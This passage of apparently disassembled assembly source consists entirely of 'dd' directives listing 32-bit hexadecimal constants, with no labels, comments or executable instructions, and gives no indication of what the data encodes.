		dd 13114365h, 0F520D8C5h, 0F40361FFh, 0A3DE265Dh, 6AECC31Ch
		dd 7D45AF09h, 0C8B9E12h, 39A63374h, 0EA3808h, 371EBA52h
		dd 40F611C2h, 5B1323BEh, 4D4DBCDCh, 0ED0279FEh,	79A55C72h
		dd 0C48F827Dh, 6FD1D1C8h, 0E90CFB17h, 0F2E9C9C5h, 7012B716h
		dd 5825C0FCh, 1334B45h,	66C72C28h, 6AD8C15Bh, 29681998h
		dd 9EB923DBh, 0D4F680B4h, 0EE80F486h, 0B023014Fh, 0CB0C3CE1h
		dd 228AA4Fh, 0AC525859h, 1655F527h, 0AEBE01E6h,	0C15A8711h
		dd 0D9012EE6h, 8AB402E0h, 0A27BC375h, 0C820F4Fh, 0EF2965C2h
		dd 0B5630C2h, 7D36A02h,	4A7FC11Ah, 0A040FBD0h, 3B0D9FCEh
		dd 0F3035A20h, 5F8419CBh, 28260C1Fh, 0DA89C485h, 0D1015D71h
		dd 2E96296Ah, 0D7A65922h, 53750BE2h, 8ADDCB45h,	6D0A966Ch
		dd 0DE81136Ch, 0F231C5DFh, 30EA7A21h, 39417A68h, 99D21CF8h
		dd 318338A3h, 0F80958C2h, 24C68EE9h, 195B9DA2h,	4DABD98h
		dd 0E938CC7Eh, 58CFB0CFh, 5F62295Ch, 0E9FA61AFh, 0B85674EBh
		dd 6E555802h, 0D4C12176h, 674C0223h, 988530CBh,	0DC8824Fh
		dd 5080C37Fh, 1822C407h, 7831115Ah, 0A9045EE5h,	0EF65E96Fh
		dd 2D60905h, 52FBF6BEh,	97DC589h, 0EAE808Dh, 0C021514Ah
		dd 3869AB0Ch, 0FA4C013Ah, 2908405Bh, 0E6E9F2C2h, 5990D40Bh
		dd 7397F850h, 712249BAh, 6B7BB74Ah, 0CD73BEA8h,	0D0174F24h
		dd 9C150302h, 81E17533h, 898AFFFBh, 5EC39DE0h, 1E43BE80h
		dd 9647798Ch, 314DC18Bh, 0DCBCA5F1h, 5BDD0FFCh,	0E4DE94C5h
		dd 0F73F4903h, 4DB348AFh, 33AB4AF4h, 0F6EA59D7h, 0CE68A275h
		dd 2B8E41ECh, 2DFF631h,	5E09B946h, 0E4E26FC0h, 9E37AF60h
		dd 2DE4DC02h, 57D202ACh, 42057B41h, 94775907h, 2024B0F8h
		dd 6806D9AAh, 72D21FCDh, 0BEF3207Eh, 42DAF71Eh,	0FBC0B913h
		dd 0E144C780h, 66D49165h, 0A50AC958h, 5735488Ch, 0CF5F5139h
		dd 12379B01h, 13143FA8h, 6226A307h, 905EB170h, 828521D4h
		dd 884ED17Fh, 0D8259F01h
		dd 1BB601F5h, 0A6876ACh, 5CC7657h, 442C01BEh, 0D55ED992h
		dd 0CEA0E147h, 0BA042A9Ah, 59AB2FE6h, 56FA6681h, 984B6DE0h
		dd 0EEE0B0Bh, 0C48A9FF5h, 0BEE958FFh, 62467C97h, 0DF4437B1h
		dd 0EC4A260Fh, 59E36420h, 45CADDFBh, 86DDB96Fh,	0B4573554h
		dd 7C41AD40h, 2023F955h, 0AC09CAFFh, 570BA97Fh,	0CC14A64h
		dd 0FDD0399Bh, 0C1FCA26Ah, 545A7E3Eh, 4E43B32Ah, 0CC01B2C5h
		dd 6DBB37CCh, 7B59B28Fh, 0FA016704h, 2D073DE3h,	0F14F4828h
		dd 4005D829h, 8C90E907h, 4AD4BFC4h, 98938AA8h, 66913EB3h
		dd 0AED3EB13h, 1E7E0459h, 0B8543F0Ch, 10AF4E7Fh, 0C85F0BCAh
		dd 1F5EE926h, 41881F82h, 71788B9Ch, 0CFE1C04Bh,	22485648h
		dd 0E4A327B3h, 2C4F0FBAh, 3F846218h, 5C4A18EEh,	5476BDCDh
		dd 8D6EB860h, 960986Ch,	8CB0ADC4h, 220AD67Ch, 7B08ECC1h
		dd 10DF2505h, 0FB555987h, 84C364DDh, 4AF58BFFh,	84E88952h
		dd 0D78600A9h, 901D373h, 0B4CE681h, 0B12F132Bh,	0FC1A2042h
		dd 56C0D02Ch, 52AAEB16h, 0A1130AFDh, 83AAC8Bh, 8006E878h
		dd 0FC060BC5h, 70B63052h, 0F528BD0Ch, 3AEBEDFCh, 3BC7BCE0h
		dd 0CD4B5EE9h, 42DC95Bh, 1BECE100h, 0BD094373h,	8BDF67A9h
		dd 7091F688h, 3D7018E9h, 0C2D17CB5h, 0C4683568h, 0BA4FE7E9h
		dd 2196A2E2h, 3DACFEBh,	44FECA5Dh, 0B3E224AAh, 85C694FDh
		dd 9E112D06h, 0A6010C6Eh, 0E97E7318h, 268BC471h, 45FDD028h
		dd 4125932Dh, 0EBC05A9Eh, 0CBF03A04h, 0CEC64B4Eh, 2E207EB2h
		dd 73549D43h, 0A9CBD42h, 3F310354h, 0F5B01D7Eh,	7FF055A7h
		dd 0F00BC790h, 0F23B7A4Bh, 5D088048h, 8E9A27E9h, 0BEF70B48h
		dd 0D5E3663Eh, 12462D78h, 74EB3F38h, 0DBC6838h,	0B22A3B41h
		dd 0BDCF6F16h, 8AAEC9D8h, 48D3B52Ch, 0E6EC5264h, 4BD38B4Eh
		dd 0FB4AA4EDh, 0CB3F7369h, 0B81A6B33h, 9291E941h, 0CD8102DDh
		dd 3A0255C7h, 256BA080h, 0E8B74348h, 5A6F4BCAh,	2C4AACECh
		dd 479C0865h, 0E72C9BA8h, 49103874h, 3BABD02h, 0B88B2A17h
		dd 2753457Fh, 44C26BE1h, 0FBD21314h, 88F22953h,	6A779315h
		dd 837D8D90h, 0D8C3F802h, 400CC85Bh, 0EE4CB8D8h, 2F4B020h
		dd 7DF24EC1h, 0B088F129h, 0C9A32408h, 1CA079DEh, 0F508C2BFh
		dd 0B62C45D1h, 0B9C1842h, 0DAF46AE4h, 660B3499h, 4A4B0AB8h
		dd 2F3CC12Ch, 3ECDD401h, 76246881h, 2AA7EFE9h, 0AAC46DF8h
		dd 0C331AF2Eh, 0E238CC47h, 0C92B548Bh, 2011167Dh, 5EC4A2E5h
		dd 21BF76EBh, 3E25083Dh, 5E7592CAh, 1222CE36h, 4EE86BA7h
		dd 65EF7B6h, 0B91039E2h, 0E0C10C6Eh, 0C5211C02h, 983BFB5Fh
		dd 44E0F66Fh, 0FF50D7B2h, 68120BEAh, 20C96D41h,	0B9BA330h
		dd 0E9BD4F11h, 0C6B7730Ch, 250A895Ch, 83A05728h, 3C5C189Ch
		dd 3F25E4FFh, 0F8E06C25h, 7C3A20F0h, 55B20B7h, 9507A244h
		dd 7425A4C5h, 0F289B988h, 0EA60734Ah, 8B2C55FCh, 0B905151Ah
		dd 0C0BEFB22h, 426AF822h, 0C229471Eh, 58085039h, 4F12F9B2h
		dd 6AF648B3h, 8E346A09h, 5C79D00h, 0CD139FDDh, 1F21FA31h
		dd 0F002819h, 6993C0B7h, 3A086B88h, 0A19A5792h,	201094BDh
		dd 769114B0h, 6FD1D69Dh, 6174BFABh, 3D6A311Ah, 29BB793Eh
		dd 0C013740Ah, 701506EFh, 0F9091317h, 25E17200h, 0ED0C3E2Dh
		dd 762921FCh, 0DEA29F3Ch, 1025A57h, 4BA459D6h, 0C65F9329h
		dd 0EC7627A8h, 0BD51965Dh, 619011D0h, 7F6FFD03h, 0D672E932h
		dd 7D682F2Eh, 0A8898685h, 37A4F1D0h, 562E9126h,	0CFFE8139h
		dd 7A39F780h, 0DB0F8D8h, 0FA73E908h, 0A9C73026h, 803BAA41h
		dd 0A564A661h, 0F0290E2Dh, 101E20F0h, 9C0BE198h, 70343F5Bh
		dd 4512C0DFh, 5699A8D7h, 0F2DE892Dh, 0BA3D4F64h, 4068A84Bh
		dd 3C05AD10h, 34012FC5h, 6103142Dh, 70C1D401h, 71AD13Dh
		dd 404B2C7Fh, 6F720EF0h, 83DCBA2Eh, 111EAD07h, 0C4B71BA8h
		dd 0AF197A1h, 3AD86861h, 3BCBF268h, 7C950C70h, 0A47E7A5Ah
		dd 0F4DE828Bh, 9FEF8105h, 7FB467BAh, 0BFF56C87h, 0D0BDD140h
		dd 0B457B637h, 2D8C0863h, 7DB75302h, 452F4880h,	90FF82DEh
		dd 8147ED3Ch, 18C13B5Fh, 0F26A52C7h, 0FB208467h, 3AD41AEh
		dd 20D6F74Eh, 0DE1258CAh, 40329F6Ah, 98F50983h,	96E22548h
		dd 4FCAA03Dh, 2C3DC0B2h, 0E87928C5h, 97D21130h,	3D51C301h
		dd 241FB4B9h, 0BC23933Eh, 73BE4F37h, 0FA8D985Eh, 5F2F358Ch
		dd 0F2CDD7E3h, 5507CFCCh, 0ABE260D2h, 97F1F886h, 0F06B4571h
		dd 0C99DBC8Bh, 387F5A0Ch, 5E74C164h, 24C3AA56h,	0A7D8ECBBh
		dd 0DC6217C9h, 0A680B009h, 7CFBCB69h, 44882E96h, 2DDCE0FDh
		dd 3D31C61Ch, 7ABB5383h, 463BB27h, 0BE42EA86h, 5895BFE3h
		dd 8B811DECh, 21714507h, 2CA4ED99h, 39D5C4A0h, 0EE3CB81Fh
		dd 64C88816h, 2F90EACAh, 0A0274BF7h, 0D7A1808Eh, 302087C3h
		dd 0F717A9Fh, 0E44A9A90h, 7705B082h, 2B2DDFC9h,	0F6A0EC97h
		dd 2852FB2Ah, 1DBC801h,	47992B6Eh, 48E48EE9h, 3DEDFDA2h
		dd 56CF318Eh, 916CDF02h, 991144C0h, 99BB3104h, 0C887E98Bh
		dd 507EED3h, 89A791B0h,	24A3AEF5h, 0EFD44669h, 9A67A003h
		dd 5BDDD0E0h, 4CEF7C09h, 9920AB57h, 4B7CF0BFh, 0DE8AA91Ch
		dd 23DA69CCh, 16E85CB8h, 0CD2D7100h, 3560BB38h,	0ED5C581Ch
		dd 0BA058Eh, 0DEE9E3B4h, 344AC0CEh, 0F6F88655h,	0D009D767h
		dd 0C588EEA0h, 0EDC00E58h, 80C9FE07h, 0D5EEB70Fh, 0E94142BFh
		dd 0BBD66763h, 5F77FF62h, 1E15E373h, 0C23113F1h, 0EA598CEAh
		dd 282E6709h, 52137744h, 0E45D2CDAh, 5E91839h, 0ADBA2E97h
		dd 36124C05h, 21C6D2F7h, 0A5C20342h, 426F2B44h,	0EEA25004h
		dd 0A9C5C606h, 0E90BA3FDh, 852E250h, 914F5E20h,	0CE07AFE6h
		dd 0A78AE2C5h, 0EE4260D4h, 0C8D0A280h, 0A4A7F2Dh, 0F75232FCh
		dd 3A48B3B1h, 3E5DB40h,	951AD443h, 0FC6FA22Eh, 0B4023FCBh
		dd 0F02C7B10h, 0C6BE0956h, 99822F3Bh, 0AD002997h, 3A23902Dh
		dd 0B4AE1445h, 147712F4h, 0EB107DA9h, 7F5B254Eh, 53051D80h
		dd 30062AB3h, 55E1E9D8h, 50FE9720h, 8210622Dh, 759AA769h
		dd 0A439037Bh, 0C21276E1h, 5C3117A3h, 0FDA7B545h, 12916EDCh
		dd 66C42DE1h, 0D187284Dh, 408C90C9h, 0FB160196h, 0B7A80388h
		dd 70DE977Ah, 0FFD3B62h, 2DD001E0h, 38E23410h, 727D58EAh
		dd 275AB090h, 5CC687B4h, 4D2CE01h, 0BB38302Fh, 78039635h
		dd 9F5B3B35h, 91143940h, 8B22C1C2h, 0A51BBA4Bh,	114A90Ch
		dd 9519CA1Eh, 5EFA3F71h, 16D4257Eh, 225FF403h, 0FD0C006Eh
		dd 2936B42Eh, 0E9853FAh, 0BD020982h, 58F95F95h,	0DD5DEA27h
		dd 66DB6603h, 54010B8Bh, 0C2282BF5h, 95F9E96Eh,	0E53ED435h
		dd 0CD85E8A8h, 0C9CD1B9Fh, 286A0A05h, 2B4AEA21h, 6BF77390h
		dd 294B1318h, 0F67800CEh, 391A2596h, 31096818h,	0B401C033h
		dd 2E7091A8h, 2C12FE5Dh, 20683B30h, 4FD73E27h, 0EEBF8197h
		dd 0F7B19174h, 75643330h, 81460706h, 8C0BE0F2h,	801FEAA4h
		dd 0E9063C0Dh, 4733966h, 0A51C6EB8h, 0B0B2BA1Ah, 1ED5E484h
		dd 298BD113h, 90055650h, 10AF6B52h, 0B8623D05h,	0E2EAF445h
		dd 0D933C4E0h, 0D276B3ABh, 0A1ACAEFh, 543AFA68h, 7E26C142h
		dd 12EF50C6h, 42300E01h, 638B6847h, 546EB851h, 0DDA4AF04h
		dd 0B0CE988Dh, 0B962B5ABh, 0EB057B75h, 175A6755h, 52F5B07Ah
		dd 79C3B648h, 32D5640h,	7A3FB46Ch, 162EC309h, 0A1A8B4B5h
		dd 7D283840h, 0F8D02AFAh, 0F95B4F88h, 0C2242F5Fh, 0D16575F4h
		dd 0FDC72227h, 17E45FDBh
		dd 31A44731h, 303F8734h, 48C96836h, 2552CC97h, 365DF7A1h
		dd 0E9C85AC8h, 0FC680E42h, 0B6799803h, 0F0281FD9h, 397819E9h
		dd 72027DEAh, 9B4831F8h, 0C220D3BFh, 9D6D4B63h,	0B4A17C60h
		dd 10BB922Ch, 4E348339h, 40EA0112h, 0B55D084Ah,	60C48E16h
		dd 0BB017958h, 0EEFB4C3Dh, 0F2B33077h, 0F1925A1Ah, 442E3076h
		dd 0BC996FE1h, 0F37E4DEDh, 79B9019Eh, 317701E4h, 0C07BDB21h
		dd 0EF27B68Fh, 0E89F737Ah, 0A23558C7h, 5281760Bh, 0BE5F2F75h
		dd 1E3E7D6Dh, 6444FEB7h, 5FC9050h, 0A62402D7h, 5D081378h
		dd 0C1400BCEh, 0D8F71F00h, 2609632Dh, 401F676h,	70B1922Bh
		dd 3BB4316Bh, 47AE0593h, 4041CD84h, 0DDF71E98h,	64B7D5E4h
		dd 91879721h, 32A10605h, 8CA6E95Ah, 2BE02E27h, 7098DBF7h
		dd 0D27E1E09h, 7504A909h, 61815F87h, 20D04A52h,	3C5A282Eh
		dd 307B19C9h, 54886838h, 2643E9Eh, 221FE21h, 5D8FC9ACh
		dd 0AA63127Eh, 4FCE3F8Ch, 0C168E392h, 53EB7723h, 88E1B341h
		dd 5F01ACECh, 0F8FE88D6h, 752FE4DEh, 51E2109Bh,	88079FFEh
		dd 503B59CAh, 0B95903Bh, 0C7D684Fh, 2D5CE758h, 33D90B5Bh
		dd 57701005h, 13B571BFh, 0F031CC58h, 71405521h,	0FAEA4ED1h
		dd 0B8ADF304h, 95865D1h, 4591F588h, 6B93BA00h, 16BD7728h
		dd 0E99B383Bh, 0FD452637h, 0C265C810h, 0EFAD944Dh, 68C5F3E6h
		dd 0E9C245FDh, 8CCF0D9h, 6220A2A4h, 0F9B94EDDh,	0F9874BA0h
		dd 729B21D7h, 9CC1054Ch, 123D008h, 0D922B7EFh, 4192692Ah
		dd 0BB866008h, 2C236CB7h, 4035DC84h, 25873345h,	6041F1F6h
		dd 63695721h, 6E9E88Fh,	0D21C6693h, 0DD92E388h,	0BF04B907h
		dd 0A22CE803h, 96ECFD66h, 0C794EB26h, 0D958FACh, 0B0B701ADh
		dd 0C7FEE7D0h, 0EF050F3Ch, 0AFB5E9DAh, 277D8D8Eh, 57711396h
		dd 6DC9774Bh, 1322C8Ah,	0E25BE105h, 0A8202D1Ch,	847F5AFAh
		dd 0E907028Dh, 0C69BE18Eh, 0C748B8C2h, 0FCB5F068h, 655749CBh
		dd 32E94205h, 0EFFF157h, 0FD4DEF31h, 87E44308h,	4FDF0818h
		dd 17F661D0h, 0C80528D6h, 0F3413BB9h, 2680E3ECh, 255014C3h
		dd 983FBE75h, 0E93D4E44h, 6C97564h, 2FE67D32h, 0FC910720h
		dd 305624F1h, 0C7680423h, 0B333EA2Dh, 0EF88C9B5h, 0E9502C7Ah
		dd 0A9F71D25h, 693E71DFh, 2258D18Eh, 66027BBDh,	2A6818E6h
		dd 71987536h, 47246019h, 580E3A4Eh, 2546E014h, 1A2B3148h
		dd 5101E978h, 49C06342h, 2C3B2F8Bh, 43E30317h, 0E18623Dh
		dd 88100718h, 0D2ED025Fh, 0E5E0825Ah, 30B0E9DDh, 0F75AF296h
		dd 51BDEC9Eh, 19FCE981h, 79A71D9Fh, 8DE9429Eh, 7372C4F5h
		dd 0C40E0EEBh, 6ADA0142h, 0D2220809h, 9875E568h, 499CE9F5h
		dd 85853E97h, 0E0C68D36h, 0C89F9A5Fh, 0E9310B22h, 9DC34DE8h
		dd 0F92F2A67h, 0DD0CEC9Ch, 0AE82B13h, 0FD43CA09h, 125BD8B0h
		dd 0E837382Ch, 0C411303h, 48F2B057h, 11AE304Eh,	39F5140Ch
		dd 1CA2AB5Bh, 0CD9D8FC1h, 304C3105h, 0C180120Dh, 200278EEh
		dd 5A2D959Bh, 244CF489h, 0BB424909h, 792D127Ch,	69B162BAh
		dd 5E5A5601h, 59DDA47Ah, 5D1E7601h, 34E9D509h, 0EE00453Fh
		dd 74C418C9h, 9897821Bh, 4AB3155Ch, 8E788042h, 1490C756h
		dd 12A110DEh, 2E6C8A58h, 0E9581C5Ah, 42D95FD2h,	70580EBAh
		dd 0FBED9E80h, 609236Bh, 52D7ECE9h, 72E20500h, 0BC2904C0h
		dd 8D564F92h, 49B3061Dh, 0B73B8BEBh, 0F5DE0122h, 0AF42F7D3h
		dd 6F755696h, 0FF8F1C24h, 315E3F70h, 3B7EBFCFh,	3310ADEAh
		dd 0C576C24Eh, 327E4352h, 4A8EF734h, 823A95FFh,	0F275D1DEh
		dd 5E4727F0h, 0CBC5857Ch, 3878CF0h, 23CA81F2h, 0F791300Ah
		dd 8C3B20DAh, 86E5809h,	26DA5C31h, 515A2C92h, 16CD2A50h
		dd 9BBA2BF8h, 0D15692B1h, 7FB4DA45h, 0CFC95F5Dh, 67475C34h
		dd 60FB2A4Ah, 0E5E985B0h, 21EA9E4Ah, 2B142D34h,	269D12CCh
		dd 93A2915h, 967F4F68h,	9A37FA1Eh, 690497EAh, 0F02EC450h
		dd 3E3C5BCBh, 45EC4BB1h, 77E92D7Dh, 0A04BA006h,	0AA3D229Eh
		dd 0BD04AD4Ah, 71063B4Ch, 1D8C1880h, 0A73D5EE1h, 0A0E91C52h
		dd 341A264h, 0DEC9D6F7h, 0BFC5E7F0h, 0EBCF2BF6h, 5AF580D2h
		dd 0B5365822h, 485D5B0Bh, 2749F0D8h, 11D064E0h,	0FB15C005h
		dd 0B5EA29C3h, 85B86A25h, 0A235E9E0h, 0A7B888C6h, 0C17B0BF2h
		dd 0F88E07E0h, 20408ABAh, 0CD2E268Ah, 0C122A568h, 0F70781FEh
		dd 0EFFCA11Ah, 0A51E54C2h, 21EFDFAEh, 2E9B3E7Bh, 2AA94AE8h
		dd 7E572DBFh, 9B172CADh, 6471EB8Dh, 0AA71C580h,	1375B33Ch
		dd 0FD5A94E9h, 8B2CD49Ah, 0D118A22Eh, 2FF74E1h,	29A16159h
		dd 0A4A47155h, 82F21C5Ch, 0D405E9D3h, 0A613D175h, 627102EAh
		dd 4AF65EB4h, 969D08A0h, 573C546Bh, 66E30BC3h, 0D382B252h
		dd 8DA7BC73h, 0F053A1C1h, 73762C30h, 438B3AEDh,	17B34750h
		dd 817C2829h, 3844E99Bh, 0F15D596Dh, 2B24F0E9h,	7CCB75Ch
		dd 3574C2FBh, 0FD231D40h, 0ABCA9D1Ch, 0C7B080Ah, 0EF292C72h
		dd 733EB09h, 9145FF6Ah,	2B15E904h, 5C40D28Dh, 503074E2h
		dd 5B7BC03h, 0E92B9417h, 0DC7A089h, 0C23F000h, 0AB25481Fh
		dd 7CD00409h, 13206CE9h, 0BE8CA20Ch, 3FE4702Dh,	4199ECFEh
		dd 0D9461ECAh, 0C54E4348h, 0E45EFDF0h, 0EB895312h, 5D5B4701h
		dd 0F83BFE29h, 9CF0C95Ch, 9A4DF2FCh, 4C65F9Eh, 28D842Bh
		dd 0FC50C188h, 92FE6FA7h, 0C60EEFCFh, 0D1CF51h,	685A59CCh
		dd 0E949C296h, 8B7B4A06h, 682D4089h, 27E0557h, 0E9AC1708h
		dd 0F65E1F8Ch, 57F2F552h, 68841854h, 463FDF2Dh,	0D7EF2FEFh
		dd 3DB115F7h, 180F500h,	0DDF748E5h, 68C981B7h, 0E63C471Fh
		dd 12B2F6C4h, 0D85C8CFFh, 0B87F8B41h, 0E99045Fh, 4FB1793Eh
		dd 0E4EC0704h, 0B470ED06h, 45121A44h, 3AFFD26h,	27460752h
		dd 42E91802h, 7510385Ah, 8C98E258h, 0ECCBD1BCh,	0EAE91232h
		dd 7D30AE2Dh, 82388868h, 9D1A6561h, 5CCCDA37h, 5ED3477Dh
		dd 5A5DA35Ah, 1F39DE80h, 9429B726h, 1DE2657h, 13E92D11h
		dd 802EF0Ah, 0B8007719h, 2439765Ah, 0B3E0B709h,	228BEF3h
		dd 794E9AF2h, 99CAEDC5h, 4264E04Eh, 0A1E2ECE3h,	6009373Ch
		dd 10E90316h, 509CB43Fh, 62173CC2h, 0DA014172h,	25186D45h
		dd 6AFA57Fh, 14821C08h,	482CD1F7h, 0D3D4279Eh, 2CDAF772h
		dd 7E71FF25h, 2FF540D8h, 162EAA05h, 23036E52h, 94708978h
		dd 9FEA217h, 82441F57h,	7FC73965h, 51A5BF7Bh, 99574934h
		dd 62C568AAh, 0A6501333h, 75D8E4D3h, 0B76A955Bh, 3A98BCD5h
		dd 0B076885Ch, 8A8B2034h, 0F26AFABDh, 32B0620Dh, 8758D9F6h
		dd 0C3C720FDh, 9D2AFB95h, 65856AD3h, 0FA214768h, 7D05CA52h
		dd 31E25319h, 939D4185h, 37044DFDh, 0CB87D1F7h,	7558B692h
		dd 6BE9F6D2h, 9325C2B3h, 0DBC4BA5Eh, 0C1852F97h, 9BEFFC2h
		dd 8893225Fh, 488C5DDCh, 965C8CE8h, 0E3898754h,	69038593h
		dd 23F74E9Fh, 0A85650DFh, 9C02D1Ah, 1EE95E70h, 0D1904058h
		dd 600C344Fh, 5C98E2BEh, 5A048718h, 0EF60EEEFh,	17B8A9C4h
		dd 27E3FBA4h, 0D64CEC91h, 1689C5C4h, 7EA5FA37h,	0D133B7ACh
		dd 2350CDB4h, 110148F6h, 0CA810E5Eh, 6F57CECh, 0B8028D20h
		dd 0DC424F7Bh, 61365DCh, 2000F193h, 10666B19h, 34D14C01h
		dd 0FC5A0840h, 35C6604Bh, 4248BDC7h, 0CF013F16h, 0C086010h
		dd 98DABCE9h, 5DDBA258h, 0E9048953h, 0BDA7DB23h, 30572925h
		dd 6F09E9B7h, 2D811CACh, 60234052h, 551D8A3h, 0ACA22B07h
		dd 33C35CCBh, 66682FE0h
		dd 6F38E897h, 415181D9h, 5BF9BDDh, 993EA439h, 0D3406EF4h
		dd 2B8F35BBh, 404F90B6h, 0C30931B2h, 79672968h,	752CBC4Ah
		dd 2760AD39h, 731FECEEh, 2DBA3D9Bh, 0AF8AE54Ch,	366A02D7h
		dd 6C2157CEh, 0DD2E14C1h, 0A9E1D820h, 6B70170Fh, 1BC9A049h
		dd 0A012BB13h, 0F806C3D9h, 5E1B98B7h, 0AEE274A7h, 73D18EC1h
		dd 3811E0D2h, 0EB808019h, 0C3053170h, 25C16866h, 0A5D9D131h
		dd 0F5565902h, 5025310h, 34F11B44h, 281CE84h, 0A4769E68h
		dd 0C3E16BB1h, 0F1ABAC2Fh, 5F00CC9Eh, 3E123B2Dh, 1B8DA55h
		dd 0BFCB644Eh, 2AEBBB0h, 680D1C0Ah, 1BDE0C35h, 335D1BC0h
		dd 5859EC5Ch, 0C95A775Fh, 0A0EBE55Bh, 0C200BF68h, 43FA39BDh
		dd 0FED5895Bh, 50C35BE8h, 0AF048E5Ch, 0EE106FE1h, 0AFE02B17h
		dd 2BA34999h, 0D88C84h,	0C722ECB8h, 4B933941h, 4D880504h
		dd 207C818Bh, 926C22CCh, 90F20D05h, 7B046DEBh, 6E366044h
		dd 6FA6E906h, 0E0785890h, 51127A2Fh, 54570F9Ch,	0BB4B0C44h
		dd 90AB7834h, 210268F1h, 0C9A57BB5h, 7530327Dh,	0FE97B64Eh
		dd 51557220h, 125FB93Dh, 0E001A1B7h, 10D78398h,	0EBD209AAh
		dd 0B97DCCD0h, 467D3113h, 6859DB01h, 692A50BAh,	45982E81h
		dd 0BBBD5D6Dh, 2B8605A0h, 256BEC1Dh, 17D63846h,	4D45A1CBh
		dd 0F8F86596h, 5F27BFh,	76406A43h, 4ED6BD6Eh, 0BE565780h
		dd 5A90656Dh, 60D4B841h, 0F9787492h, 5DFFF97h, 5753A5AAh
		dd 4099A872h, 0F1B75E07h, 305D2F2Fh, 3313068Fh,	0BB635669h
		dd 303884A9h, 29043908h, 0E6D13E98h, 4A7B53E5h,	1795D0Ah
		dd 0C331F2Bh, 0B1743A58h, 504CF2EFh, 58B486D0h,	0B20FE583h
		dd 0D5FEEA17h, 12205EC0h, 10DA7948h, 470C9A7Fh,	951CE7D1h
		dd 305C2BECh, 25390751h, 0C76446A8h, 0BC5B2AFDh, 2CAB4F83h
		dd 47056821h, 590DA84Bh, 48A3CAEBh, 2FAC014Ch, 0FF51691Ah
		dd 87A516BCh, 354760Bh,	4B4FE9D0h, 0D346EC96h, 81B5B2E8h
		dd 39C68A3Bh, 4470041Fh, 99AE5ABAh, 2B87A3Bh, 0D6E069E6h
		dd 15C40CBh, 0E658FB81h, 84FA842Eh, 0F908121Ah,	860284B9h
		dd 0D7A2E012h, 804A7135h, 173D0FBh, 8062E9EFh, 82478F27h
		dd 5267A794h, 7B9F5CA7h, 169DBDA4h, 30C80D49h, 0B2FB4829h
		dd 73F3B474h, 4B61F6B0h, 244943Eh, 9A362FEBh, 3B4A5701h
		dd 60E90801h, 0A0492BA3h, 0FCCDF551h, 55F39A3Ah, 9BF0DF16h
		dd 3C858A35h, 32FDA6AAh, 575D197Eh, 73448051h, 0A82AE6F1h
		dd 0B2E51835h, 2C25C5B5h, 1785B622h, 0BF40275Ah, 74DE4742h
		dd 511FD854h, 0A0A925C9h, 0E21A620h, 17BD7539h,	0EEF2FD36h
		dd 72813A98h, 0B0E0FE5h, 0EE49E97Eh, 4E2585FAh,	7F9475B9h
		dd 3CB85000h, 579EE67h,	0A2A1D28h, 7C4E4746h, 0B63500CCh
		dd 0C05AC50Dh, 253E69F1h, 0E9D78C26h, 0FB76CA2Fh, 0AC5E2DF0h
		dd 0D9D5933Eh, 5CC546E9h, 4B2FE350h, 0A005E2B1h, 0C0CF426h
		dd 64E440A8h, 0D72DE978h, 9A1268CAh, 2F623DA5h,	0E4D3BA92h
		dd 156084B1h, 0FBDBEF23h, 4F3F487Dh, 65246401h,	44FD017Bh
		dd 5F0802B1h, 265240E9h, 34204122h, 84C3426Ah, 1DFCD3h
		dd 5BC51705h, 0F46A0B25h, 3BE92D3Ch, 0E6B54900h, 4C5BCD80h
		dd 0C4BAF0C5h, 0F7C5E0EDh, 45B460E1h, 5F20C741h, 514D0F4Ch
		dd 0BB8D4A0Fh, 0FB526B81h, 0BD2C80BEh, 640B1DECh, 0C8EA895Fh
		dd 83923055h, 0E0B9CC83h, 0C5F181A4h, 0E64CB56Fh, 99D8D6Ch
		dd 9C68CEF0h, 2607C5C7h, 0CF015BA4h, 0F2AAC2E4h, 68500069h
		dd 1A4E7B21h, 8EE4DC58h, 45A12F08h, 6815A023h, 783500DAh
		dd 55F4473h, 33430476h,	0E3C789CBh, 0CCE90B0Dh,	0FEFAA1A5h
		dd 8BDD7F7h, 46ED49FEh,	69D1787Ch, 0BE01FB64h, 701844B5h
		dd 7B5DB10h, 596B21F9h,	0A6B6FE3h, 0A25BC1D4h, 7A6055D9h
		dd 229D32C0h, 93641AEh,	82EBC3D5h, 0BF4E04B2h, 419402E4h
		dd 3906BC0h, 5E158556h,	0AA05FABFh, 60A4AEEAh, 66331929h
		dd 2B929C73h, 152CC8B3h, 0A85AA3F9h, 1321B814h,	0A312E868h
		dd 569302F6h, 5C5D2D59h, 70E909CCh, 0EF3B48FDh,	0EE7118CBh
		dd 6C4C7C47h, 1772802h,	8D6856FBh, 0FFFE2A08h, 7A534644h
		dd 83301980h, 0D159594Eh, 5C41CAEDh, 7397817h, 5726263Ch
		dd 0DB981D0h, 0E8745ADBh, 29807FF4h, 603CEEC6h,	4B24CFFDh
		dd 22F43B70h, 0D7A29154h, 0F9BC48EEh, 28EB5417h, 6C4081B9h
		dd 493B059Bh, 0D944011Fh, 0E90C0014h, 0F39F41E2h, 5C85A80Eh
		dd 0B7052153h, 0FA6E9427h, 0D5006A13h, 0AA574DCEh, 13E91065h
		dd 0EAB902E3h, 0F709315Ch, 58005D64h, 0A40FBC2Dh, 959AE9F6h
		dd 21BB9680h, 175A0C03h, 39C31FFFh, 0CB721C9Eh,	970DBF7h
		dd 0BDEF7709h, 81676A0h, 0F6007D71h, 33C380D3h,	5BDC0220h
		dd 0B151C4FEh, 27E9EFE0h, 59BD6B70h, 0E17AC2E4h, 0F988837Eh
		dd 1B680306h, 589A9404h, 55EBB4Ah, 0B79EC25h, 79E71F4Fh
		dd 1700977h, 6873EB01h,	4E70C020h, 5EE4F3C3h, 0EF7449BEh
		dd 28893574h, 4716D5D8h, 0E9C8FE09h, 570B6207h,	0AB0820D9h
		dd 0DEA24F8h, 89490169h, 0BBA2D9E2h, 9DC4FCFEh,	0A32A76A2h
		dd 4FBE04E6h, 0AA154C13h, 611033C1h, 0D357CC64h, 7344FA20h
		dd 0A3F2C54Ah, 5942324Bh, 681269E4h, 0B14966D5h, 0B4F66074h
		dd 0ED8005D7h, 0C4E528D9h, 5D13EE32h, 60BE39FEh, 334D98D6h
		dd 0CBB98024h, 0A25E6956h, 9D5A4498h, 0F64BB25Bh, 0F7688685h
		dd 0D2248F18h, 8547AAB1h, 0F7C9A682h, 1A03C714h, 0E9BE1678h
		dd 0C0EF5F7Ch, 10884BC7h, 17F1012Eh, 9F8C9A15h,	22A48CD1h
		dd 0A7DE532Fh, 97E3FA58h, 6A6A69D4h, 0E607AF00h, 55ADE925h
